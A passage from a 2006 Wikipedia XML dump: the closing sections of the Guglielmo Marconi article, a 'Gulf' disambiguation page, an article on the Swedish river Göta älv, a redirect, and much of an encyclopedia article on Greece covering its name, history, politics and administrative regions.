On [[15 June]] [[1927]] he married [[Maria Cristina Bezzi-Scali]]; [[Mussolini]] was [[best man]]. Their daughter was named [[Maria Elettra Elena Anna Marconi]]. Marconi died in [[Rome]] on [[20 July]], [[1937]]. As a tribute to Marconi, radio stations throughout the world observed two minutes of radio silence.

==Honours==
*Marconi was ranked #38 on [[Michael H. Hart]]'s [[The 100|list of the most influential figures in history]].
*The town of [[Copiague]], NY was once named Marconiville, after Guglielmo Marconi. On Great Neck Road in Copiague there is an old gate standing which still reads &quot;Marconiville&quot;.

==Patents==
* {{US patent|586193}}
* {{US patent|624516}}
* {{US patent|627650}}
* {{US patent|647007}}
* {{US patent|647008}}
* {{US patent|647009}}
* {{US patent|650109}}
* {{US patent|650110}}
* {{US patent|668315}}
* {{US patent|676332}}
* {{US patent|763772}}
* {{US patent|1271190}}

==See also ==
* [[Invention of Radio]]
* [[List of people on stamps of Ireland]]
* [[Jagdish Chandra Bose]]

==External links==
* [http://homepage.mac.com/mooncusser/iMovieTheater215.html Guglielmo Marconi documentary narrated by Walter Cronkite]
* Nobel : [http://www.nobel.se/physics/laureates/1909/marconi-bio.html Guglielmo Marconi] &amp;ndash; Biography
* Marconi Corporation's [http://www.marconicalling.com/front.htm Marconi Calling]
* [http://www.nobel-winners.com/Physics/guglielmo_marconi.html Guglielmo Marconi]
* [http://www.infoage.org] Information about Marconi Wireless Station construction, with photos and personal accounts of daily life.
===Priority of invention===
* [http://www.wsone.com/fecha/electra.htm Who started the electronic era?]
* [[PBS]]: [http://www.pbs.org/tesla/ll/ll_whoradio.html Marconi and Tesla: Who invented radio?]
* The Guglielmo Marconi Case [http://www.mercury.gr/tesla/marcen.html Who is the True Inventor of Radio]
* U.S. Supreme Court, &quot;''[http://caselaw.lp.findlaw.com/scripts/getcase.pl?court=us&amp;vol=320&amp;invol=1 Marconi Wireless Telegraph co. of America v. United States]''&quot;. 320 U.S. 1. Nos. 369, 373. Argued April 9-12, 1943. Decided June 21, 1943.
* 21st Century Books: Priority in the Invention of Radio &amp;mdash; [http://www.tfcbooks.com/mall/more/431pir.htm Tesla vs. Marconi]
* [http://www.bbc.co.uk/wales/historyhunters/locations/pages/3_1_flatholm.shtml BBC Reference to his first transmission over water]
* [http://education.guardian.co.uk/higher/physicalscience/story/0,9836,616927,00.html Faking the Waves, 1901]

[[Category:1874 births|Marconi, Guglielmo]]
[[Category:1937 deaths|Marconi, Guglielmo]]
[[Category:Natives of Bologna|Marconi, Guglielmo]]
[[Category:Autodidacts|Marconi, Guglielmo]]
[[Category:Electrical engineers|Marconi, Guglielmo]]
[[Category:Italian inventors|Marconi, Guglielmo]]
[[Category:Radio pioneers|Marconi, Guglielmo]]
[[Category:Nobel Prize in Physics winners|Marconi, Guglielmo]]
[[Category:Fellows of the Royal Society of Arts|Marconi, Guglielmo]]
[[Category:Knights Grand Cross of the Royal Victorian Order|Marconi, Guglielmo]]
[[Category:Members of the Pontifical Academy of Sciences|Marconi]]
[[Category:Telecommunications history|Marconi, Guglielmo]]
[[Category:History of radio|Marconi, Guglielmo]]

[[ar:غوليلمو ماركوني]]
[[ca:Guglielmo Marconi]]
[[cs:Guglielmo Marconi]]
[[de:Guglielmo Marconi]]
[[es:Guillermo Marconi]]
[[fa:گولیلمو مارکونی]]
[[fr:Guglielmo Marconi]]
[[ga:Guglielmo Marconi]]
[[ko:굴리엘모 마르코니]]
[[hr:Guglielmo Marconi]]
[[id:Guglielmo Marconi]]
[[it:Guglielmo Marconi]]
[[he:גוליילמו מרקוני]]
[[nl:Guglielmo Marconi]]
[[ja:グリエルモ・マルコーニ]]
[[no:Guglielmo Marconi]]
[[nn:Guglielmo Marconi]]
[[pl:Guglielmo Marconi]]
[[pt:Guglielmo Marconi]]
[[sk:Guglielmo Marconi]]
[[sl:Guglielmo Marconi]]
[[fi:Guglielmo Marconi]]
[[sv:Guglielmo Marconi]]
[[th:กูกลีเอลโม มาร์โคนี]]
[[zh:古列尔莫·马可尼]]</text>
    </revision>
  </page>
  <page>
    <title>Gulf</title>
    <id>12105</id>
    <revision>
      <id>39609071</id>
      <timestamp>2006-02-14T17:12:39Z</timestamp>
      <contributor>
        <username>Mushroom</username>
        <id>34467</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/209.7.107.26|209.7.107.26]] ([[User talk:209.7.107.26|talk]]) to last version by Mikkalai</comment>
      <text xml:space="preserve">*A '''gulf''' or [[bay (aquatic)|bay]] is a part of a lake or ocean that extends so that it is surrounded by land on three sides. See [[headlands and bays]] for more on this.
*''[[Gulf (Heinlein)|Gulf]]'' is also a novella by [[Robert A. Heinlein]].
* A company, see [[Gulf Oil]]

'''The Gulf''' can mean:
*The [[Gulf of Mexico]];
*The [[Persian Gulf]];
*The regions in [[Queensland]], [[Australia]] south of the [[Gulf of Carpentaria]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Göta älv</title>
    <id>12106</id>
    <revision>
      <id>41981415</id>
      <timestamp>2006-03-03T00:53:21Z</timestamp>
      <contributor>
        <username>Jbergquist</username>
        <id>707756</id>
      </contributor>
      <comment>Nordre älv on Kungälv map</comment>
      <text xml:space="preserve">[[Image:Trollhattefallen.jpg|thumb|Waterfalls in [[Trollhättan]]/Göta älv]]
'''[[Göta]] älv''' is a [[river]] that drains lake [[Vänern]] into [[Kattegat]], and the [[North Sea]], at the city of [[Gothenburg]] on the western coast of [[Sweden]]. The river is located in [[Götaland]], the river itself being a site of early [[Geats|Geatish]] settlement. The [[Bohus Fortress]] is located by the river at [[Kungälv]]. Here the river splits into two, with the northern part being the Nordre älv river and the southern part keeping the name Göta älv.

At [[Trollhättan]] there is a [[dam]], [[canal lock]]s and a [[hydropower]] station in the river. The locks make the river navigable, even for large cargo vessels, and the river is part of a mostly inland waterway all the way to [[Stockholm]].

The power station supplied electric power to the heavy [[steel industry]] concentrated around Trollhättan, contributing to its [[industrial revolution]]. In the summer months the spillway of the dam is opened for a few minutes daily and [[tourist]]s gather to see the water rushing down the river (picture).

[[Category:Rivers of Sweden]]
[[Category:Gothenburg]]
[[Category:Trollhättan]]
[[Category:Vänersborg]]

[[de:Göta älv]]
[[fr:Göta älv]]
[[nl:Göta älv]]
[[sv:Göta älv]]</text>
    </revision>
  </page>
  <page>
    <title>Gustaf VI Adolf</title>
    <id>12107</id>
    <revision>
      <id>36026026</id>
      <timestamp>2006-01-21T00:24:11Z</timestamp>
      <contributor>
        <username>JonRoma</username>
        <id>382783</id>
      </contributor>
      <minor />
      <comment>update wiki link to [[Gustaf VI Adolf of Sweden]]</comment>
      <text xml:space="preserve">#redirect [[Gustaf VI Adolf of Sweden]]</text>
    </revision>
  </page>
  <page>
    <title>Greece</title>
    <id>12108</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42124491</id>
      <timestamp>2006-03-03T23:58:07Z</timestamp>
      <contributor>
        <username>Flauto Dolce</username>
        <id>30706</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Samos]] to [[Samos Prefecture]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">----
'''''Hellas''' [[Wikipedia:Redirects|redirects]] here. For other uses, please see [[Hellas (disambiguation)]]; for other uses of the word '''Greece''', please see [[Greece (disambiguation)]]''.
{{Greece infobox}}

'''Greece''', ([[Greek language|Greek]]: Ελλάδα ''Elládha'' or Ελλάς ''Hellás''), officially the '''Hellenic Republic''' (Greek: Ελληνική [[wikt: δημοκρατία|Δημοκρατία]] ''Ellinikí Dhimokratía''), is a country in [[southern Europe|southern]] [[Europe]] on the tip of the [[Balkan peninsula]]. It has land boundaries with [[Bulgaria]], the [[Republic of Macedonia|Former Yugoslav Republic of Macedonia]] and [[Albania]] to the north, and with [[Turkey]] to the east. The waters of the [[Aegean Sea]] border Greece to the east, and those of the [[Ionian Sea|Ionian]] and [[Mediterranean Sea]] to the west and south. Regarded by many as the cradle of [[Western world|Western civilization]] and the birthplace of [[democracy]], Greece has a long and rich history during which its culture has proven especially influential in [[Europe]], [[North Africa]], and the [[Middle East]].

==Name==
{{main|Names of the Greeks}}

The historical name of Greece in Greek is {{Polytonic|Ἑλλάς}} ''Ellás'' {{IPA|/ɛˈlas/}}&lt;!--Please note: IPA accent is written *before* the accented syllable, not after the accented vowel--&gt;.  This name is also written as ''Hellas'' in English, following the [[ancient Greek|ancient]] [[Greek language|Greek]] pronunciation {{IPA|/hɛˈl:as/}}. In [[Modern Greek]], it is called more commonly Ελλάδα ''Elládha'' {{IPA|/ɛˈlaða/}}.

In most European languages, however, the name of Greece comes from the ancient root {{Polytonic|Γραικός}} ''Graikós'' (&lt;i&gt;via&lt;/i&gt; Latin ''[[Graecus]]''): [[English language|English]] ''Greece'', [[French language|French]] ''Grèce'', [[German language|German]] ''Griechenland'', ''etc.''  In most Middle Eastern and Eastern languages, it comes from the root {{Polytonic|Ἰωνία}} ''[[Ionia|Iōnía]]'': ([[Turkish language|Turkish]]: ''Yunanistan'', [[Arabic]] and [[Urdu]]:  يونان (Yawnan), [[Malay language|Malay]]: Yunani).  In only a few languages is the &quot;Hellas&quot; root the basis of the local name —- [[Norwegian language|Norwegian]]: Hellas, [[Chinese language|Chinese]]: 希臘 (Xīlà), and [[Vietnamese language|Vietnamese]]: Hy Lạp.

Some Greeks prefer the name ''Hellas'' for the country and ''Hellenes'' for the people even in English.
--[[User:194.154.22.55|194.154.22.55]] 13:47, 3 March 2006 (UTC)&lt;math&gt;Insert formula here&lt;/math&gt;--[[User:194.154.22.55|194.154.22.55]] 13:47, 3 March 2006 (UTC)

== History ==
{{main|History of Greece}}
=== Prehistory and antiquity ===
The shores of Greece's [[Aegean Sea]] saw the emergence of the first civilizations in Europe, namely the [[Minoan civilization|Minoan]] and the [[Mycenae|Mycenaean]].  After this, a Dark Age followed until around [[800 BC]], when a new era of Greek [[polis|city-states]] emerged, establishing colonies along the [[Mediterranean Sea|Mediterranean]], and a [[Greek alphabet|new alphabet]] was introduced.[http://www.mfa.gr/english/greece/living/read_greek/alphabet.html]. [[Plato]] described how the Greeks live round the Aegean Archipelago &quot;like frogs around a pond&quot;; their name has always been associated with the sea.

=== Roman rule and Middle Ages ===
Militarily, Greece itself declined to the point that the [[Roman Republic|Romans]] conquered the land ([[168 BC]] onwards), though, in many ways, Greek culture would in turn conquer Roman life. Greece became a province of the [[Roman Empire]], but Greek culture continued to dominate the eastern Mediterranean. When the Roman Empire finally split in two, the [[Eastern Roman Empire]], known as the Byzantine Empire, centered around [[Constantinople]] (known in ancient times as [[Byzantium]]), remained Greek in nature, encompassing Greece itself. From the [[4th century]] to the [[15th century]], the Byzantine Empire survived eleven centuries of attacks from the north,  west and east until [[Fall of Constantinople|Constantinople fell]] on [[May 29]] [[1453]] to the [[Ottoman Empire]], when [[Constantine XI]], the last emperor of the [[Palaeologus]] dynasty, fell. Greece was gradually conquered by the Ottomans during the [[15th century]].
=== Ottoman Period ===
[[Image:Vryzakis.jpg|thumb|right|300px|Theod.Vryzakis,The sortie of Messologhi]] 
While the [[Ottomans]] were completing the main conquest of the Greek Mainland, two Greek migrations occurred. The first migration saw the Greek intelligentsia migrate to [[Western Europe]] — especially to Italy — and contribute to the advent of the [[Renaissance]]. The second migration of Greeks left the plains of the Greek peninsula and resettled in the mountains, the islands and Greek regions outside Ottoman control. In the mountainous regions, the Ottomans were unable to create a permanent military and administrative presence. As a result some Greek mountain clans across the peninsula, as well as some islands, were able to maintain a status of independence. The Sphakiots of [[Crete]], the [[Souliots]] from Souli of [[Epirus]], and the Maniots from [[Mani Peninsula|Mani]] of [[Peloponnese|Peloponnesus]] were the most resilient mountain clans throughout the Ottoman Empire. By the end of the 16th century and until the 17th century, Greeks began to migrate back to the plains and cities, adding to the increasing urban population. The [[Millet (Ottoman Empire)|millet]] system contributed to the ethnic cohesion of Orthodox Greeks by segregating the various peoples within the Ottoman Empire based on religion. The [[Orthodox]] Church, a religious institution with a keen sense of its national character, contributed to the Greeks from all geographical areas of the peninsula (i.e. mountains, plains, and islands) to preserve their ethnic, cultural and linguistic heritage during the years of the Ottoman rule (although at the time it was not strictly speaking a &quot;Greek&quot; church — the Greek Church was instituted after the liberation).  The Greeks who remained on the plains during Ottoman occupation were either Christians, who dealt with the burdens of foreign rule, or to a considerable extent Crypto-Christians (Greek Muslims who were secret practitioners of the Orthodox faith) in order to avoid heavy taxation. The Greeks who converted to [[Islam]] and were not Crypto-Christians became [[Turkic peoples|Turks]] in the eyes of Orthodox Greeks. Therefore, there was no recognition of &quot;Greek Muslims&quot;, or of &quot;Christian Turks&quot;. As a result, religion played an integral part in the formation of the Modern Greek and other post-Ottoman national identities.

=== Creation of the modern Greek state ===
The Ottomans ruled Greece until the early [[19th century]]. In 1821, the Greeks and their allies [[Greek War of Independence|rebelled and declared their independence]], but did not succeed until 1829. The elites of powerful European nations saw the war of Greek independence, with its accounts of Turkish [[atrocity|atrocities]], in a romantic light (see, for example, the 1824 painting ''the Massacre of [[Chios]]'' by [[Eugène Delacroix]]). Scores of non-Greeks volunteered to fight for the cause &amp;mdash; including people like [[George Gordon Byron, 6th Baron Byron|Lord Byron]].  At times the Ottomans seemed on the verge of entirely suppressing the Greek revolution but were eventually forced to give in by the direct military intervention of [[France]], [[United Kingdom|Great Britain]] and [[Russia]]. This was the prelude of the so called &quot;[[Eastern Question]]&quot;, the gradual dismemberment of the decaying empire by the western powers.  The Russian ex-minister of foreign affairs, [[Ioannis Kapodistrias]], himself a Greek noble from the Ionian Islands, was chosen as President of the new Republic following Greek independence. However, that republic was soon dissolved by the Great Powers which then installed a &quot;Greek&quot; monarchy. The Great Powers did not wish the Greeks to govern themselves and also claimed that they were not capable to do so; as such they looked elsewhere for a prospective monarch. The first king, [[Otto of Greece|Otto of Bavaria]], was of the German [[Wittelsbach|House of Wittelsbach]] and the subsequent line was from the Germano-Danish [[Schleswig-Holstein-Sonderburg-Glücksburg|House of Oldenburg]]. During the 19th and especially the early [[20th century|20th]] centuries, in a series of wars with the Ottomans, Greece sought to enlarge its boundaries to include the ethnic Greek population of the Ottoman Empire (the Ionian Islands were donated by Britain upon the arrival of the new king from Denmark in 1863, and Thessaly was ceded by the Ottomans without a fight). Greece would slowly grow in territory and population until reaching its present configuration in 1947.

====World War I and its aftermath====
[[Image:He-ref-chios-painting.jpg|thumb|right|300px|[[Eugène Delacroix]], Massacre at Chios]]
In [[World War I]], Greece sided with the [[entente]] powers against the [[Ottoman Empire]] and the other [[Central Powers]]. In the war's aftermath, the [[Great Powers]] awarded a small part of [[Asia Minor]] to Greece, centered around the city of [[Smyrna]] (known as [[Izmir]] today) which had a majority Greek population. At that time, however, the Turkish nationalists, led by [[Mustafa Kemal Atatürk]], denounced the Sultan's government in Istanbul and formed a new one in Ankara. During the [[Greco-Turkish War (1919-1922)]] the Turks eventually defeated the  Greek armies and regained control of Asia Minor. Soon afterwards, the [[Treaty of Lausanne]] was signed, fixing the borders to this date. A population exchange was included in the agreement and immediately afterwards, around five hundred thousand Turks (including Muslim Greeks) then living in mainland Greek territory left for Turkey in [[Population exchange#Turkey and Greece: population exchange.2C 1922|exchange]] for more than 1.22 million Greek residents of Asia Minor (excluding [[Constantinople]], Imvros and Tenedos).

In 1936, General [[Ioannis Metaxas]] established an [[authoritarian]] [[conservative]] [[dictatorship]] in Greece, seen as similar to [[Antonio Salazar]]'s &quot;[[Estado Novo (Portugal)|New State]]&quot;. Greece under Metaxas is also compared to Spain at the time, although it lacked the political violence associated with [[Francisco Franco]]'s regime. 

====World War II====
On [[28 October]] [[1940]], the [[Italy|Italian]] dictator [[Benito Mussolini|Mussolini]] called on the Greeks to allow the troops to enter the country and to surrender its arms. Though Greece was alone and most of Europe occupied by the Axis, the Greek government gave a simple negative response (see [[Oxi Day]])- thereby immediately siding with the [[Allies|Allied]]. The Italian troops poured over from Albania. The Greek counter-attack along the Albanian front gave the [[Allies]] their first victory against the [[Axis]] forces (see [[Greco-Italian War]]).  Eventually, Mussolini's armies were saved from defeat with the intervention of Italy's [[Axis]] ally, [[Germany]] since [[Adolf Hitler|Hitler]] and his generals needed to secure their strategic southern flank. German forces whose ranks included troops from [[Hungary]], [[Bulgaria]], and [[Italy]] successfully invaded Greece, overran and occupied Greece in April-May 1941. Germany held onto the country until 1944, when the Greek resistance and British, [[Australian]] and [[New Zealand]] forces liberated the country.

In May 1941, to reduce the threat of a counter-offensive by Allied forces in [[Egypt]], the Germans attempted to [[Battle of Crete|seize Crete]] in a massive attack by [[paratroop]]s. Allied forces, along with Cretan civilians, however, offered fierce resistance. Although Crete eventually fell, it is pointed out by historians that this, and the whole Greek campaign, delayed German plans significantly, with the result that the German invasion of the [[Soviet Union]] started fatally close to winter. 

During the years of [[Nazi]] occupation, hundreds of thousands of Greeks died in direct combat, in concentration camps, or of starvation. The occupiers murdered the greater part of the [[Jewish]] community despite efforts by the [[Greek Orthodox]] Church and many [[Christian]] Greeks to shelter their Jewish co-citizens. The Jewish community of [[Thessaloniki]] suffered the heaviest toll by far. The Greek economy languished. After liberation, Greece experienced an equally bitter [[Greek Civil War]] between the communist-led [[Democratic Army]] and the [[Hellenic Army]] that lasted until 1949, when the communists were defeated in the battle of Grammos-Vitsi.

====Post-war development and turmoil====
During the 1950s and 1960s, Greece experienced gradual and consistent economic growth, aided by significant grants and loans by the [[United States]] through the [[Marshall Plan|Marshall]] Plan. However, starting in [[1965]], a series of turbulent political events unfolded that led to severe political uncertainty. The crisis eventually got out hand for both the elected government and King [[Constantine II]] and ended dramatically in the early hours of [[April 21]], [[1967]]. That morning, a coordinated effort by a number of Generals and other military officials succeeded in a [[coup d'etat]] and they soon managed to establish a fierce [[military junta]]. General elections planned by the conservative government to be held on May 28 never took place. In the following years, a number of supporters of the left wing as well as a number of politicians and [[communist]]s were arrested and brutally tortured by the regime. Other polititians, however, evaded capture and found political refuge in such European countries as [[France]] and [[Sweden]]. Nevertheless, the then head of state, former [[King Constantine]] officially acknowleged the new regime and it was duly recognized by the international community. Diplomatic relations contiuned unabated. In 1973, however, the junta abolished the [[Kings of Greece|Greek monarchy]]. Later that same year, in October of 1973, the head of the junta, colonel [[George Papadopoulos]] appointed politician [[Spiros Markezinis]] as the Prime Minister. A few weeks later on [[November 14]], law students that opposed the regime realized that the obvious parody of a government would not end unless they took action. They took control of the [[Athens Law School]] and in so doing inspired the students of the [[Athens Polytechnic School]], who imitated them. 

It should be noted that institutions of higher education in Greece are considered to provide political asylum. By [[November 16]], however, the streets around the Polytechnic School resembled a battlefield, leaving no choice for the junta than to respond with military tactics. In the early hours of November 17, a tank smashed the gate of the Athens Law School causing tragic bloodshed. More than 20 students were killed. However, the now-famous [[Athens Polytechnic Uprising]] marked the beginning of a series of events that would eventually result to the end of Papadopoulos' rule. One week later, on November 25 both Papadopoulos and Markezinis were overthrown by a countercoup headed by junta hardliner Brigadier [[Dimitrios Ioannides|Ioannides]]. A new head, [[Phaedon Gizikis]], and a new Prime Minister, [[Adamantios Androutsopoulos]], were appointed by the regime. Ioannides, however, had even more in his mind. The following July, he backed a planned coup d'etat to overthrow the Cypriot President, Archibishop [[Makarios III|Makarios]]. This gave a pretext for neighbouring Turkey to intervene militarily, alledgedly to protect the Turkish minority that resided on the island. [[Turkey]] invaded [[Cyprus]] on [[July 20]], [[1974]] and managed to occupy the northern part or a third of its territory. The colonels did not succeed in either predicting the Turkish action or in effectively mobilizing their armed forces in order to prevent it. This signaled the end for the regime that collapsed within a matter of days.

====Newfound stability====
In the evening of [[July 23]], [[1974]], ex Premier [[Constantine Karamanlis]] was invited back from [[Paris]] where he had found a political refuge. In the morning hours of the following day, the plane carrying him landed in [[Athens]] amidst massive celebrations by cheering crowds that could not believe that the ordeal they had to endure for seven years was over. Karamanlis was immediately appointed as the interim prime minister under President [[Phaedon Gizikis|Gizikis]]. Karamanlis founded the [[conservative]] [[New Democracy|Nea Dimokratia]] party and he then won the elections. Democracy had finally been restored and a democratic republican constitution came into force in 1975. In addition, a referendum held that same year, confirmed the will of the overwhelming majority of the Greek people to abolish the monarchy - this time democratically. Therefore former King [[Constantine II of Greece|Constantine II]] and his family remained in Britain and were not allowed free access to the country until 2004. Meanwhile, yet another prominent figure of the past, charismatic politician [[Andreas Papandreou]] had also returned from the [[United States]] and he had already founded the Panhellenic Socialist Party or [[PASOK]]. Karamanlis won the [[1977]] parliamentary elections as well but he resigned in [[1980]], giving his way to [[George Rallis]]. However, Papandreou won the elections held on [[October 18]], [[1981]] by landslide and he formed the first socialist government in the history of the nation. Papandreou dominated the Greek political course for almost 15 years, up until his death in [[June 23]], [[1996]].

====Greece as a member of the European Union====
The country became the tenth member of the [[European Union]] in [[January 1]], [[1981]]. Over the course of the last 25 years, and particularly during this past decade, Greece has experienced a remarkable economic growth. Massive, widespread investments in industrial enterprises and heavy infrastructure as well as funds from the European Union and impressively growing revenues from tourism, shipping and services have greatly raised the standard of living to unprecedented levels. The country adopted the [[Euro]] in 2001. With a [[GDP per capita]] now standing at $ 22,800 and a growth rate well above European Union's average, Greece is a prosperous nation. Nevertheless, everyone agrees that the government still has to deal with certain economic issues so as to enable the country to use its full potentials and reach the standard of living of the richest nations in [[Europe]].

====The successful battle against domestic terrorism====
In [[June 2002]], Greek police achieved a major breakthrough in dealing with domestic terrorism when it managed to arrest the members of the notorious [[Revolutionary Organization 17 November]] terrorist group. The group had formed in [[1974]] and it was responsible for the killing of several American, British and Turkish officials residing in Greece as well as for the killing of prominent Greek politicians (such as Pavlos Bakoyiannis, late husband of the newly appointed Foreign Minister, [[Dora Bakoyannis]]). The trial of those arrested was held in [[March 2003]] and all of them are now behind bars. Still, however, some people believe there is a chance that certain non-key members may have escaped arrest.

====Greco-Turkish relations====
As far as Greco-Turkish relations are concerned, these have improved substantially over the last 6 years, after successive earthquakes hit both countries in the summer of [[1999]]. The so called earthquake diplomacy came after an unprecedented outpouring of sympathy and generous assistance provided by ordinary Greeks and Turks in each of those cases. Greece was the first one to take the initiative to provide valuable help after a monstrous, magnitude 7.4 [[earthquake]] leveled much of the Turkish northwest on [[August 17]], [[1999]], killing more than 17,000 people. Turks also responded immediately after a magnitude 5.9 quake jolted [[Athens]] on [[September 7]] of that same year, killing 143 people. These generous, brave acts took many foreigners by surprise and led to a considerable breakthrough in bilateral relations, marred by decades of hostility over territorial disputes and the situation in the divided island of [[Cyprus]]. In January 1996, the countries reached the brink of war over the tiny, uninhabited islets of [[Imia/Kardak]], situated in the southeastern [[Aegean Sea]]. While Greece insisted that according to all treaties and conventions the islets belong to Greece, Turks claimed that the relevant articles were rather unclear. The crisis escalated within only a few days and it was only after the personal intervention of President [[Bill Clinton]] that it came to an end. Ten years later, Greece has become one of the chief advocates of Turkey's struggle to enter the [[European Union]] while Greek prime minister, [[Kostas Karamanlis]] was one of the best men in the wedding of the daughter of Turkey's premier.

====The 2004 Olympic Games====
On September 5, 1997, the International Olympic Committee awarded the [[2004 Olympic Games]] to [[Athens]]. The massive preparations that followed literally transformed the Greek capital. Some concerns were raised by certain foreign media over Greece's ability to meet specific construction deadlines as well as its ability to handle a potential terrorist attack. However, Greece triumphantly proved all those who questioned its abilities wrong and immediately after the closing ceremonies many of those media actually apologized, admitting that they were overreacting. The [[2004 Olympic Games]] were globally hailed as a spectacular success.
[http://news.bbc.co.uk/1/hi/world/europe/3610014.stm].

== Politics ==
[[Image:KOSTA KARAMANLIS.jpg|frame|right|Kostas Karamanlis, Prime minister of Greece]]
{{main|Politics of Greece}}
The 1975 [[constitution]] includes extensive specific guarantees of civil liberties. The President of the Republic, elected by an increased majority of the Parliament for a term of five years, is nominally the Head of State.

However, it is the [[Prime Minister]] and [[cabinet (government)|cabinet]], as well as the Vouli (parliament) that play the central role in the political process, while the president performs limited governmental functions, in addition to ceremonial duties.

Greeks elect the 300 members of the country's [[unicameral]] parliament (the ''[[Vouli ton Ellinon]]'') by secret ballot for a maximum of four years, but elections can occur at more frequent intervals. Greece uses a complex reinforced [[proportional representation]] electoral system which discourages splinter parties and ensures that the party which leads in the national vote will win a majority of seats. A party  must receive 3% minimum of the total national vote to gain representation. Typically, a 42%+ is sufficient to guarantee the rule by a single party.

Greek parliamentary politics hinge upon the principle of the &quot;''dedilomeni''&quot;, the &quot;declared confidence&quot; of Parliament to the Prime Minister and his/her administration. This means that the President of the Republic is bound to appoint as Prime Minister a person who will be approved by a majority of the Parilament's members (i.e. 151 votes). With the current electoral system, it is the leader of the party gaining a plurality of the votes in the Parliamentary elections who gets appointed Prime Minister. An administration may, at any time, seek a &quot;vote of confidence&quot;; conversely, a number of Members of Parilament may ask that a &quot;vote of reproach&quot; be taken. Both are rare occurrences with usually predictable outcomes as voting outside the party line happens very seldom.

On [[March 7]], [[2004]], [[Kostas Karamanlis]], president of the [[New Democracy]] party and nephew of the late [[Constantine Karamanlis]], was elected as the new [[Prime Minister of Greece]], thus marking his party's first victory in nearly 11 years. Karamanlis managed to defeat ruling PASOK's newly elected candidate, [[George Papandreou]], son of the late [[Andreas Papandreou]]. [[Kostas Simitis]] was in office since [[January 1996]]. 
{{see|List of political parties in Greece}}

== Local government ==
''Main article: [[Peripheries of Greece]]''
[[Image:GreeceNumberedPerepheries.png|right|350px|Map showing Peripheries of Greece]]

Greece consists of 13 administrative regions known as peripheries, which subdivide further into the 51 [[Prefectures of Greece|prefecture]]s (''nomoi'', singular - ''[[nomos]]''):

&lt;table&gt;&lt;td&gt;
&lt;ol&gt;
&lt;li&gt;[[Attica]]
:[[Athens Prefecture|Athens]]
:[[East Attica]]
:[[Piraeus Prefecture|Piraeus]]
:[[West Attica]]

&lt;li&gt;[[Central Greece]]
:[[Boeotia Prefecture|Boeotia]]
:[[Euboea]]
:[[Evrytania]]
:[[Phocis]]
:[[Phthiotis]]

&lt;li&gt;[[Central Macedonia]]
:[[Chalcidice]]
:[[Imathia Prefecture|Imathia]]
:[[Kilkis Prefecture|Kilkis]]
:[[Pella]]
:[[Pieria]]
:[[Serres Prefecture|Serres]]
:[[Thessaloniki Prefecture|Thessaloniki]]

&lt;li&gt;[[Crete]]
:[[Chania Prefecture|Chania]]
:[[Heraklion Prefecture|Heraklion]]
:[[Lasithi]]
:[[Rethymno Prefecture|Rethymno]]

&lt;/td&gt;&lt;/ol&gt;&lt;td&gt;&lt;ol start=5&gt;

&lt;li&gt;[[East Macedonia and Thrace]]
:[[Drama Prefecture|Drama]]
:[[Evros Prefecture|Evros]]
:[[Kavala Prefecture|Kavala]]
:[[Rhodope Prefecture|Rhodope]]
:[[Xanthi Prefecture|Xanthi]]


&lt;li&gt;[[Epirus (periphery)|Epirus]]
:[[Arta Prefecture|Arta]]
:[[Ioannina Prefecture|Ioannina]]
:[[Preveza Prefecture|Preveza]]
:[[Thesprotia]]

&lt;li&gt;[[Ionian Islands]]
:[[Corfu Prefecture|Corfu]]
:[[Kefalonia]]
:[[Lefkada]]
:[[Zakynthos]]

&lt;li&gt;[[North Aegean]]
:[[Chios]]
:[[Lesbos Prefecture|Lesbos]]
:[[Samos Prefecture|Samos]]

&lt;/td&gt;&lt;/ol&gt;&lt;td&gt;&lt;ol start=9&gt;

&lt;li&gt;[[Peloponnese]]
:[[Arcadia]]
:[[Argolis]]
:[[Corinthia]]
:[[Laconia]]
:[[Messinia]]

&lt;li&gt;[[South Aegean]]
:[[Cyclades]]
:[[Dodecanese]]

&lt;li&gt;[[Thessaly]]
:[[Karditsa Prefecture|Karditsa]]
:[[Larissa Prefecture|Larissa]]
:[[Magnesia]]
:[[Trikala Prefecture|Trikala]]

&lt;li&gt;[[West Greece]]
:[[Achaea]]
:[[Aetolia-Acarnania]]
:[[Elis Prefecture|Elis]]

&lt;li&gt;[[West Macedonia]]
:[[Florina Prefecture|Florina]]
:[[Grevena Prefecture|Grevena]]
:[[Kastoria Prefecture|Kastoria]]
:[[Kozani Prefecture|Kozani]]
&lt;/td&gt;
&lt;/table&gt;

Beyond these one autonomous region exists: [[Mount Athos]] (''Agio Oros'' - Holy Mountain), a monastic state under Greek sovereignty.

The 51 ''nomoi'' subdivide into 147 ''eparchies'' (singular ''eparchia''), which contain 1,033 [[Communities and Municipalities of Greece|municipalities and communities]]: 900 urban municipalities (''demoi'') and 133 rural communities (''koinotetes''). Before 1999, Greece's local government structure featured 5,775 local authorities: 457 ''demoi'' and  5,318 ''koinotetes'', subdivided into 12,817 localities (''oikosmoi'').

== Geography ==
[[Image:Gr-map.png|thumb|200px|right|Map of Greece]]
[[Image:Satellite image of Greece.jpg|200px|thumb|right|Greece from orbit]]
{{main|Geography of Greece}}
Greece consists of a large mainland at the southern end of the [[Balkans]]; the [[Peloponnese|Peloponnesus]] peninsula (separated from the mainland by the canal of the [[Isthmus of Corinth]]); and [[Greek islands|numerous islands]] (around 3,000), including [[Crete]], [[Rhodes]], [[Kos]], [[Euboea]] and the [[Dodecanese]] and the [[Cyclades|Cycladic]] groups of the [[Aegean Sea]] as well as the [[Ionian Sea]] islands. Greece has more than 15,000 kilometres of coastline and a land boundary of 1,160 kilometres. Approximately 8% of the nation's territory is covered by forests.

